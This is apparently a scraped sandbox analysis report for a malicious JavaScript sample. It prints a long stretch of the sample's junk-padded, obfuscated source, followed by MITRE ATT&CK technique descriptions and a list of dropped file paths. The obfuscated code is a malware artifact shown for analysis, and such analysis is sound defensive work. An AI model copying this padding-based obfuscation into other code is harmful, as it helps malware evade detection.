585	esridljhw = "R";
586	esridljhw = "o";
587	esridljhw = "o";
588	esridljhw = "O";
589	esridljhw = "U";
590	esridljhw = "@";
591	dqahpndiy = "P";
592	dqahpndiy = "Y";
593	dqahpndiy = "e";
594	dqahpndiy = "V";
595	dqahpndiy = "g";
596	dqahpndiy = "z";
597	dqahpndiy = "E";
598	dqahpndiy = "C";
599	dqahpndiy = "e";
600	dqahpndiy = "_";
601	csslozb = "N";
602	csslozb = "V";
603	csslozb = "j";
604	csslozb = "Z";
605	csslozb = "m";
606	csslozb = "f";
607	csslozb = "P";
608	csslozb = "t";
609	csslozb = "t";
610	csslozb = "U";
611	csslozb = "F";
612	csslozb = "n";
613	csslozb = "n";
614	csslozb = "e";
615	csslozb = "I";
616	csslozb = "&";
617	syfbrkv = "m";
618	syfbrkv = "N";
619	syfbrkv = "x";
620	syfbrkv = "o";
621	syfbrkv = "r";
622	syfbrkv = "Z";
623	syfbrkv = "t";
624	syfbrkv = "G";
625	syfbrkv = "U";
626	syfbrkv = "L";
627	syfbrkv = "Z";
628	syfbrkv = "L";
629	syfbrkv = "G";
630	syfbrkv = "M";
631	syfbrkv = "x";
632	syfbrkv = "F";
633	syfbrkv = "Q";
634	syfbrkv = "C";
635	syfbrkv = "g";
636	syfbrkv = "i";
637	syfbrkv = "u";
638	fzizclr = "m";
639	fzizclr = "w";
640	fzizclr = "u";
641	fzizclr = "j";
642	fzizclr = "M";
643	fzizclr = "l";
644	fzizclr = "B";
645	fzizclr = "E";
646	fzizclr = "i";
647	fzizclr = "H";
648	fzizclr = "d";
649	fzizclr = "f";
650	fzizclr = "R";
651	fzizclr = "M";
652	fzizclr = "p";
653	fzizclr = "s";
654	fzizclr = "Q";
655	fzizclr = "t";
656	xejcopf = "T";
657	xejcopf = "v";
658	xejcopf = "H";
659	xejcopf = "G";
660	xejcopf = "a";
661	xejcopf = "M";
662	xejcopf = "O";
663	xejcopf = "w";
664	xejcopf = "c";
665	xejcopf = "o";
666	xejcopf = "L";
667	xejcopf = "j";
668	xejcopf = "Z";
669	xejcopf = "J";
670	xejcopf = "I";
671	xejcopf = "l";
672	xejcopf = "f";
673	xejcopf = "A";
674	xejcopf = "E";
675	xejcopf = "p";
676	npbwejwnn = "T";
677	npbwejwnn = "X";
678	npbwejwnn = "c";
679	npbwejwnn = "t";
680	npbwejwnn = "Q";
681	npbwejwnn = "j";
682	npbwejwnn = "l";
683	npbwejwnn = "N";
684	npbwejwnn = "r";
685	npbwejwnn = "o";
686	npbwejwnn = "y";
687	npbwejwnn = "f";
688	npbwejwnn = "l";
689	npbwejwnn = "v";
690	npbwejwnn = "U";
691	npbwejwnn = "g";
692	npbwejwnn = "A";
693	npbwejwnn = "r";
694	npbwejwnn = "u";
695	npbwejwnn = "i";
696	npbwejwnn = "L";
697	npbwejwnn = "d";
698	npbwejwnn = "Q";
699	npbwejwnn = "x";
700	npbwejwnn = "Q";
701	npbwejwnn = "Y";
702	npbwejwnn = "a";
703	npbwejwnn = "P";
704	npbwejwnn = "R";
705	npbwejwnn = "H";
706	npbwejwnn = "K";
707	npbwejwnn = "F";
708	npbwejwnn = "J";
709	npbwejwnn = "E";
710	npbwejwnn = "I";
711	npbwejwnn = "A";
712	npbwejwnn = "D";
713	npbwejwnn = "E";
714	npbwejwnn = "r";
715	btqmvfq = "N";
716	btqmvfq = "h";
717	btqmvfq = "L";
718	btqmvfq = "y";
719	btqmvfq = "D";
720	btqmvfq = "s";
721	btqmvfq = "m";
722	btqmvfq = "n";
723	btqmvfq = "u";
724	btqmvfq = "V";
725	btqmvfq = "a";
726	btqmvfq = "T";
727	btqmvfq = "l";
728	btqmvfq = "H";
729	btqmvfq = "N";
730	btqmvfq = "w";
731	btqmvfq = "x";
732	btqmvfq = "C";
733	btqmvfq = "K";
734	btqmvfq = "N";
735	btqmvfq = "h";
736	btqmvfq = "z";
737	btqmvfq = "j";
738	btqmvfq = "p";
739	btqmvfq = "X";
740	btqmvfq = "U";
741	btqmvfq = "5";
742	wgczf = "y";
743	wgczf = "k";
744	wgczf = "G";
745	wgczf = "I";
746	wgczf = "U";
747	wgczf = "Y";
748	wgczf = "e";
749	wgczf = "K";
750	wgczf = "h";
751	wgczf = "g";
752	wgczf = "R";
753	wgczf = "k";
754	wgczf = "X";
755	wgczf = "l";
756	wgczf = "h";
757	wgczf = "Q";
758	wgczf = "G";
759	wgczf = "l";
760	wgczf = "O";
761	wgczf = "q";
762	wgczf = "A";
763	wgczf = "h";
764	wgczf = "M";
765	wgczf = "h";
766	wgczf = "k";
767	wgczf = "o";
768	wgczf = "h";
769	wgczf = "h";
770	wgczf = "v";
771	wgczf = "K";
772	wgczf = "a";
773	wgczf = "b";
774	wgczf = "h";
775	wgczf = "c";
776	wgczf = "U";
777	wgczf = "V";
778	wgczf = "b";
779	wgczf = "l";
780	wgczf = "y";
781	wgczf = "l";
782	wgczf = "S";
783	wgczf = "D";
784	wgczf = "y";
785	wgczf = "i";
786	wbistitwn = "O";
787	huezf = "X";
788	huezf = "e";
789	huezf = "V";
790	huezf = "b";
791	huezf = "v";
792	huezf = "s";
793	huezf = "v";
794	huezf = "y";
795	huezf = "r";
796	huezf = "M";
797	huezf = "Y";
798	huezf = "s";
799	huezf = "T";
800	bkhhkpasm = "E";
801	bkhhkpasm = "i";
802	bkhhkpasm = "z";
803	bkhhkpasm = "L";
804	bkhhkpasm = "q";
805	bkhhkpasm = "N";
806	bkhhkpasm = "H";
807	bkhhkpasm = "j";
808	bkhhkpasm = "Y";
809	bkhhkpasm = "s";
810	bkhhkpasm = "i";
811	bkhhkpasm = "F";
812	bkhhkpasm = "I";
813	bkhhkpasm = "g";
814	bkhhkpasm = "t";
815	bkhhkpasm = "E";
816	bkhhkpasm = "q";
817	bkhhkpasm = "X";
818	bkhhkpasm = "m";
819	bkhhkpasm = "s";
820	bkhhkpasm = "u";
821	bkhhkpasm = "B";
822	bkhhkpasm = "W";
823	hlclcahoy = "w";
824	hlclcahoy = "J";
825	hlclcahoy = "R";
826	hlclcahoy = "D";
827	hlclcahoy = "q";
828	hlclcahoy = "T";
829	hlclcahoy = "d";
830	hlclcahoy = "Q";
831	hlclcahoy = "C";
832	hlclcahoy = "O";
833	hlclcahoy = "Y";
834	kkczzej = "U";
835	kkczzej = "X";
836	kkczzej = "U";
837	kkczzej = "Z";
838	kkczzej = "i";
839	kkczzej = "W";
840	kkczzej = "o";
841	kkczzej = "M";
842	kkczzej = "R";
843	kkczzej = "O";
844	kkczzej = "s";
845	kkczzej = "J";
846	kkczzej = "i";
847	kkczzej = "Z";
848	kkczzej = "g";
849	kkczzej = "A";
850	kkczzej = "N";
851	kkczzej = "h";
852	kkczzej = "y";
853	kkczzej = "f";
854	kkczzej = "E";
855	kkczzej = "n";
856	kkczzej = "Q";
857	kkczzej = "U";
858	kkczzej = "U";
859	kkczzej = "S";
860	kkczzej = "B";
861	kkczzej = "n";
862	kkczzej = "O";
863	kkczzej = "D";
864	kkczzej = "h";
865	kkczzej = "P";
866	kkczzej = "l";
867	kkczzej = "S";
868	wmxtcl = "e";
869	wmxtcl = "j";
870	wmxtcl = "G";
871	wmxtcl = "Y";
872	wmxtcl = "s";
873	wmxtcl = "A";
874	wmxtcl = "F";
875	wmxtcl = "f";
876	wmxtcl = "t";
877	wmxtcl = "L";
878	wmxtcl = "I";
879	wmxtcl = "R";
880	wmxtcl = "t";
881	wmxtcl = "Z";
882	wmxtcl = "q";
883	wmxtcl = "R";
884	wmxtcl = "b";
885	wmxtcl = "W";
886	wmxtcl = "q";
887	wmxtcl = "k";
888	wmxtcl = "W";
889	wmxtcl = "U";
890	wmxtcl = "G";
891	wmxtcl = "q";
892	wmxtcl = "a";
893	wmxtcl = "Y";
894	wmxtcl = "V";
895	wmxtcl = "I";
896	knxjqvq = "U";
897	knxjqvq = "x";
898	knxjqvq = "a";
899	knxjqvq = "r";
900	knxjqvq = "P";
901	knxjqvq = "Y";
902	knxjqvq = "V";
903	knxjqvq = "l";
904	lymqvo = "y";
905	lymqvo = "Q";
906	lymqvo = "q";
907	lymqvo = "N";
908	lymqvo = "b";
909	lymqvo = "d";
910	lymqvo = "O";
911	lymqvo = "w";
912	lymqvo = "i";
913	lymqvo = "c";
914	lymqvo = "f";
915	lymqvo = "L";
916	lymqvo = "n";
917	lymqvo = "C";
918	lymqvo = "z";
919	lymqvo = "E";
920	lymqvo = "m";
921	lymqvo = "P";
922	lymqvo = "p";
923	lymqvo = "K";
924	lymqvo = "o";
925	lymqvo = "U";
926	lymqvo = "O";
927	lymqvo = "i";
928	lymqvo = "N";
929	lymqvo = "t";
930	lymqvo = "q";
931	lymqvo = "c";
932	lymqvo = "s";
933	lymqvo = "W";
934	lymqvo = "X";
935	lymqvo = "y";
936	lymqvo = "Q";
937	lymqvo = "q";
938	lymqvo = "P";
939	lymqvo = "v";
940	lymqvo = "c";
941	lymqvo = "h";
942	lymqvo = "G";
943	lymqvo = "k";
944	lymqvo = "e";
945	lymqvo = "c";
946	vrxzf = "r";
947	vrxzf = "C";
948	vrxzf = "I";
949	vrxzf = "A";
950	vrxzf = "F";
951	vrxzf = "h";
952	vrxzf = "Z";
953	vrxzf = "p";
954	vrxzf = "J";
955	vrxzf = "h";
956	vrxzf = "t";
957	vrxzf = "Q";
958	vrxzf = "L";
959	vrxzf = "y";
960	vrxzf = "i";
961	vrxzf = "U";
962	vrxzf = "N";
963	vrxzf = "R";
964	vrxzf = "c";
965	vrxzf = "m";
966	vrxzf = "E";
967	vrxzf = "t";
968	vrxzf = "T";
969	vrxzf = "F";
970	vrxzf = "k";
971	vrxzf = "e";
972	tbsednl = "a";
973	tbsednl = "C";
974	tbsednl = "g";
975	qqrsahqy = "r";
976	qqrsahqy = "k";
977	qqrsahqy = "t";
978	qqrsahqy = "Y";
979	qqrsahqy = "M";
980	qqrsahqy = "F";
981	qqrsahqy = "z";
982	qqrsahqy = "h";
983	qqrsahqy = "B";
984	qqrsahqy = "J";
985	qqrsahqy = "g";
986	qqrsahqy = "F";
987	qqrsahqy = "d";
988	qqrsahqy = "u";
989	qqrsahqy = "k";
990	qqrsahqy = "D";
991	qqrsahqy = "a";
992	qqrsahqy = "R";
993	qqrsahqy = "a";
994	qqrsahqy = "1";
995	quewn = "T";
996	quewn = "O";
997	quewn = "l";
998	quewn = "r";
999	quewn = "t";
1000	quewn = "H";
1001	quewn = "E";
1002	quewn = "i";
1003	quewn = "k";
1004	quewn = "D";
1005	quewn = "s";
1006	quewn = "d";
1007	quewn = "U";
1008	wvckcrfs = "x";
1009	wvckcrfs = "i";
1010	wvckcrfs = "A";
1011	wvckcrfs = "m";
1012	wvckcrfs = "T";
1013	wvckcrfs = "u";
1014	wvckcrfs = "G";
1015	wvckcrfs = "g";
1016	wvckcrfs = "N";
1017	wvckcrfs = "l";
1018	wvckcrfs = "K";
1019	wvckcrfs = "W";
1020	wvckcrfs = "H";
1021	wvckcrfs = "d";
1022	wvckcrfs = "n";
1023	wvckcrfs = "z";
1024	wvckcrfs = "A";
1025	wvckcrfs = "Y";
1026	wvckcrfs = "U";
1027	wvckcrfs = "a";
1028	wvckcrfs = "X";
1029	wvckcrfs = "y";
1030	wvckcrfs = "M";
1031	wvckcrfs = "g";
1032	wvckcrfs = "Z";
1033	wvckcrfs = "B";
1034	wvckcrfs = "W";
1035	wvckcrfs = "u";
1036	wvckcrfs = "V";
1037	wvckcrfs = "T";
1038	wvckcrfs = "E";
1039	wvckcrfs = "W";
1040	wvckcrfs = "b";
1041	wvckcrfs = "m";
1042	cejdf = "U";
1043	cejdf = "u";
1044	cejdf = "y";
1045	cejdf = "m";
1046	cejdf = "U";
1047	cejdf = "o";
1048	cejdf = "h";
1049	cejdf = "R";
1050	cejdf = "L";
1051	cejdf = "k";
1052	cejdf = "a";
1053	cejdf = "F";
1054	cejdf = "E";
1055	cejdf = "b";
1056	cejdf = "p";
1057	cejdf = "q";
1058	cejdf = "z";
1059	cejdf = "j";
1060	cejdf = "Q";
1061	fvnoum = "z";
1062	fvnoum = "w";
1063	fvnoum = "R";
1064	fvnoum = "Q";
1065	fvnoum = "F";
1066	fvnoum = "B";
1067	fvnoum = "O";
1068	fvnoum = "e";
1069	fvnoum = "h";
1070	fvnoum = "P";
1071	fvnoum = "h";
1072	fvnoum = "S";
1073	fvnoum = "m";
1074	fvnoum = "g";
1075	fvnoum = "U";
1076	fvnoum = "G";
1077	fvnoum = "a";
1078	fvnoum = "H";
1079	fvnoum = "X";
1080	fvnoum = "T";
1081	fvnoum = "S";
1082	fvnoum = "P";
1083	fvnoum = "O";
1084	fvnoum = "s";
1085	fvnoum = "z";
1086	fvnoum = "v";
1087	fvnoum = "h";
1088	fvnoum = "P";
1089	fvnoum = "S";
1090	fvnoum = "T";
1091	fvnoum = "P";
1092	fvnoum = "x";
1093	fvnoum = "g";
1094	fvnoum = "U";
1095	fvnoum = "/";
1096	dheixfa = "Q";
1097	dheixfa = "x";
1098	dheixfa = "N";
1099	dheixfa = "H";
1100	dheixfa = "z";
1101	dheixfa = "W";
1102	dheixfa = "2";
1103	emcdvlan = "o";
1104	emcdvlan = "B";
1105	emcdvlan = "b";
1106	emcdvlan = "I";
1107	emcdvlan = "C";
1108	emcdvlan = "v";
1109	emcdvlan = "w";
1110	emcdvlan = "%";
1111	ipsoe = "g";
1112	ipsoe = "x";
1113	ipsoe = "n";
1114	ipsoe = "G";
1115	ipsoe = "X";
1116	ipsoe = "G";
1117	ipsoe = "z";
1118	ipsoe = "F";
1119	htqdqz = "d";
1120	htqdqz = "m";
1121	htqdqz = "S";
1122	htqdqz = "G";
1123	htqdqz = "N";
1124	htqdqz = "o";
1125	htqdqz = "u";
1126	htqdqz = "P";
1127	htqdqz = "w";
1128	htqdqz = "r";
1129	htqdqz = "V";
1130	htqdqz = "L";
1131	htqdqz = "Z";
1132	htqdqz = "u";
1133	htqdqz = "a";
1134	htqdqz = "i";
1135	htqdqz = "h";
1136	htqdqz = "v";
1137	htqdqz = "h";
1138	htqdqz = "c";
1139	htqdqz = "H";
1140	htqdqz = "d";
1141	htqdqz = "v";
1142	htqdqz = "l";
1143	htqdqz = "P";
1144	htqdqz = "P";
1145	htqdqz = "a";
1146	htqdqz = "j";
1147	htqdqz = "z";
1148	htqdqz = "o";
1149	htqdqz = "C";
1150	htqdqz = "p";
1151	htqdqz = "b";
1152	htqdqz = "G";
1153	htqdqz = "p";
1154	htqdqz = "I";
1155	htqdqz = "D";
1156	htqdqz = "G";
1157	htqdqz = "Y";
1158	htqdqz = "T";
1159	htqdqz = "T";
1160	htqdqz = "e";
1161	htqdqz = "b";
1162	eoopwhc = "i";
1163	eoopwhc = "q";
1164	eoopwhc = "W";
1165	eoopwhc = "u";
1166	eoopwhc = "f";
1167	eoopwhc = "d";
1168	eoopwhc = "q";
1169	eoopwhc = "c";
1170	eoopwhc = "D";
1171	eoopwhc = "f";
1172	eoopwhc = "N";
1173	eoopwhc = "t";
1174	eoopwhc = "I";
1175	eoopwhc = "o";
1176	eoopwhc = "u";
1177	eoopwhc = "K";
1178	eoopwhc = "e";
1179	eoopwhc = "d";
1180	eoopwhc = "y";
1181	eoopwhc = "S";
1182	eoopwhc = "S";
1183	eoopwhc = "v";
1184	eoopwhc = "G";
1185	eoopwhc = "p";
1186	eoopwhc = "h";
1187	eoopwhc = "Q";
1188	eoopwhc = "I";
1189	eoopwhc = "E";
1190	eoopwhc = "Y";
1191	eoopwhc = "p";
1192	eoopwhc = ".";
1193	loyks = "O";
1194	loyks = "C";
1195	loyks = "D";
1196	loyks = "l";
1197	loyks = "v";
1198	loyks = "T";
1199	loyks = "y";
1200	loyks = "W";
1201	loyks = "A";
1202	loyks = "X";
1203	loyks = "f";
1204	loyks = "k";
1205	yvlkuvh = "S";
1206	yvlkuvh = "n";
1207	yvlkuvh = "Y";
1208	yvlkuvh = "G";
1209	yvlkuvh = "M";
1210	yvlkuvh = "j";
1211	yvlkuvh = "d";
1212	yvlkuvh = "q";
1213	yvlkuvh = "k";
1214	yvlkuvh = "K";
1215	yvlkuvh = "w";
1216	yvlkuvh = "x";
1217	yvlkuvh = "X";
1218	yvlkuvh = "H";
1219	yvlkuvh = "N";
1220	yvlkuvh = "r";
1221	yvlkuvh = "D";
1222	yvlkuvh = "C";
1223	yvlkuvh = "B";
1224	yvlkuvh = "b";
1225	yvlkuvh = "v";
1226	yvlkuvh = "X";
1227	yvlkuvh = "G";
1228	yvlkuvh = "X";
1229	yvlkuvh = "E";
1230	yvlkuvh = "B";
1231	yvlkuvh = "e";
1232	yvlkuvh = "e";
1233	yvlkuvh = "H";
1234	yvlkuvh = "y";
1235	yvlkuvh = "Q";
1236	yvlkuvh = "F";
1237	yvlkuvh = "w";
1238	yvlkuvh = "n";
1239	yvlkuvh = "Q";
1240	yvlkuvh = "C";
1241	yvlkuvh = "F";
1242	yvlkuvh = "S";
1243	yvlkuvh = "v";
1244	yvlkuvh = "8";
1245	tccioqhu = "J";
1246	tccioqhu = "a";
1247	tccioqhu = "W";
1248	tccioqhu = "b";
1249	tccioqhu = "K";
1250	tccioqhu = "g";
1251	tccioqhu = "H";
1252	tccioqhu = "q";
1253	tccioqhu = "N";
1254	tccioqhu = "g";
1255	tccioqhu = "Z";
1256	tccioqhu = "W";
1257	tccioqhu = "C";
1258	tccioqhu = "u";
1259	tccioqhu = "G";
1260	tccioqhu = "A";
1261	tccioqhu = "s";
1262	tccioqhu = "d";
1263	tccioqhu = "Z";
1264	tccioqhu = "D";
1265	tccioqhu = "t";
1266	tccioqhu = "a";
1267	tccioqhu = "v";
1268	tccioqhu = "g";
1269	tccioqhu = "C";
1270	ntvcp ( );	ntvcp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 213045010931018335.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\16a64a17-1f4a-4ccf-9ef3-a2ccb066bf63.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6164

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

